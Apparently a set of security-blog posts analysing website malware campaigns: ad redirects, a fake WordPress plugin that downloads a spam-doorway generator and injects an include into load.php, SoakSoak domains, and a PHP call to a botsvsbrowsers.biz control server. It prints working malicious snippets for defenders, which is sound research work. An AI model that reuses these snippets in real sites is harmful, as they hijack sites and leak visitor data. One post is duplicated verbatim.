Today we found a few websites that loaded strange code from tag-cloud-generator[.]com.

Sites tried load several image and font files from this site, but they all returned 404 Not Found. The only live file that they loaded was hxxp://www.tag-cloud-generator[.]com/js/fx2.js or it's pseudo-localized copies like hxxp://www.tag-cloud-generator[.]com/NL/js/fx2.js, hxxp://www.tag-cloud-generator[.]com/EN/js/fx2.js, hxxp://www.tag-cloud-generator[.]com/FR/js/fx2.js, etc.

The fx2.js files has an encrypted script that loads (randomly) one of the following scripts:

hxxp://www.tag-cLoud-generator[.]com/b01.js
hxxp://www.tag-cLoud-generator[.]com/b02.js
hxxp://www.tag-cLoud-generator[.]com/b03.js
hxxp://www.tag-cLoud-generator[.]com/b04.js

And those scripts in turn, redirect visitors to one of the following parked domains with ads:

www.rusoen[.]com
www.askinz[.]com
www.ad-u.com
www.kinkyfirehouse[.]com

Using code like this:

JavaScriptRedirectURL="http://www.ad-u[.]com/";window.top.location.href=JavaScriptRedirectURL;

All these domains, including tag-cloud-generator[.]com are registered in China. If you ever used tag-cloud-generator, make sure to remove it from your site. We will share more information if we find anything new.

We found infected sites where malware created a fake WordPress plugin that generated pharma spam doorways.

Path: wp-content/plugins/social-share/wp-social-share.php

This file creates wp-content/plugins/social-share/share.php that calls itself WP Social Include File. It downloads doorway generator from hxxp://api-linux . net/json/json_01.txt, writes it into wp-content/mu-plugins/mu-plugin.png and then includes this file at the bottom of wp-includes/load.php:

...
$load = '@include_once ( ABSPATH . \'wp-content/mu-plugins/mu-plugin.png\' );';
if(strpos(@file_get_contents($path."/../wp-includes/load.php"), $load) === false){
@file_put_contents($path."/../wp-includes/load.php", $load, FILE_APPEND);}
...

The doorway generator uses the following URLs:

...
$processor = 'jp.apigenerator.net';
$server_door = 'hxxp://'.$processor.'/avtonom/comeon_door.php';

$url_new = $processor;
$path_new = '/avtonom/comeon_door.php';

$buypage = 'hxxp://solarkey .net/notds/gettheme_ss_incl.php';
$buy_url = 'solarkey.net';
$buy_path = '/notds/gettheme_ss_incl.php';
...
$linksurl = 'http://jp.apigenerator.net/avtonom/getlinks_003.php';
$linksurl_url = 'jp.apigenerator.net';
$linksurl_path = '/avtonom/getlinks_003.php';
...

Some of the above URLs should only be accessed using a special User Agent

$useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6";

If you are a hosting provider, we recommend blocking HTTP requests to these external sites, to stop the spam doorways from being distributed. We will share more details as we learn more about it.

The RevSlider SoakSoak malware campaign started with the soaksoak.ru domain (hence the name). However, since thelast 2 weeks, it has mutated and used different domains as the initial malware intermediary.

This is the full list so far:

1. soaksoak.ru: First one in the list. We identified more than 100,000 sites redirecting to it.
2. 122.155.168.105: Started just after soaksoak, leveraging the /collect.js redirection. Almost 10,000 were blacklisted and compromised with it.
3. ads.akeemdom.com
4. wpcache-blogger.com: Second biggest campaign after soaksoak. More than 50,000 sites compromised and still going.
5. theme.wpcache-blogger.com
6. phoenix-credit.com: Current one active. Also leverages the /collect.js redirection and has compromised more than 11,000 different sites.

We will keep updating this list as the domains change and the attacks mutate.

We are seeing an increasing number of hacked sited with Chinese doorways promoting various fake merchandises (from Louis Vuitton handbags to NFL jerseys and Canada goose jackets).

Those doorways target both Western web searches and the Chinese. Here\'s how they make sure the doorway correctly preserves search queries in Chinese (converting from UTF-8 to gb2312) when they work with Google search referrer string:

if (empty($_SERVER['HTTP_REFERER'])) {
    $HTTP_Referer = "n";
} else {
    $temp = urldecode($_SERVER['HTTP_REFERER']);
    if (strpos($_SERVER['HTTP_REFERER'], 'ie=utf-8') !== false) {
        $temp = mb_convert_encoding($temp, 'gb2312', 'utf-8'); //utf-8->gb2312

    }
    $HTTP_Referer = strtolower($temp);
}

Since Google uses ie=ut-8 by default for most languages, queries using non-ASCII and non-Chinese Simplified characters will be garbled. Apparently the they are only interested in English and Chinese queries.

We are seeing an increasing number of hacked sited with Chinese doorways promoting various fake merchandises (from Louis Vuitton handbags to NFL jerseys and Canada goose jackets).

Those doorways target both Western web searches and the Chinese. Here's how they make sure the doorway correctly preserves search queries in Chinese (converting from UTF-8 to gb2312) when they work with Google search referrer string:

if (empty($_SERVER['HTTP_REFERER'])) {
    $HTTP_Referer = "n";
} else {
    $temp = urldecode($_SERVER['HTTP_REFERER']);
    if (strpos($_SERVER['HTTP_REFERER'], 'ie=utf-8') !== false) {
        $temp = mb_convert_encoding($temp, 'gb2312', 'utf-8'); //utf-8->gb2312

    }
    $HTTP_Referer = strtolower($temp);
}

Since Google uses "ie=ut-8" by default for most languages, queries using non-ASCII and non-Chinese Simplified characters will be garbled. Apparently the they are only interested in English and Chinese queries.

We see many tricks that hackers use to make search engine bots think that the injected spam is not hidden. One of the common approaches is to place a spam block inside a div with some particular id or class and then add a JavaScript call to make that div invisible.

And the newest form of the unlocked iphone spam injection, tried something new (that also made us smile). It uses elementary school level math to make spammy a div id and the id in JavaScript to look different.

Here\'s the typical code:

<div id="232">...spammy content here...</div><script>document.getElementById (116*2) .style.display='none';</script>

The idea is simple: malware generates a random number (e.g. n) and then doubles that number and uses the result as the spam div id. And in the JavaScript code, they use the same multiplication operation verbatim as the getElementById(n*2) function parameter, which works because JavaScript implicitly converts numbers to strings.

The domain botsvsbrowsers.com is quite popular and used for comparing user agents (browsers) and seeingif a specific request is from a valid user or a bot.

And piggy backing on their popularity, the bad guys created a domain botsvsbrowsers.biz (.biz versus .com) tobe used as a command and control server on spam SEO campaigns.

This is the code we are seeing on compromised sites:

echo file_get_contents("http://botsvsbrowsers. biz/Statistic/ Stat.php?ip='. urlencode($_SERVER['REMOTE_ADDR']).'&useragent=".urlencode($sUserAgent)...
'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck=');

Which basically contacts botsvsbrowsers.biz/Statistic/Stat.php on every page load, giving the client IP address, and URLand it decides what to inject to that user. Most of the time we are seeing just plain SPAM, but they are probably servingother malicious code as well.

So if you see any content being loaded from botsvsbrowsers.BIZ (or the IP address 46.165.222.93), you know it is malicious.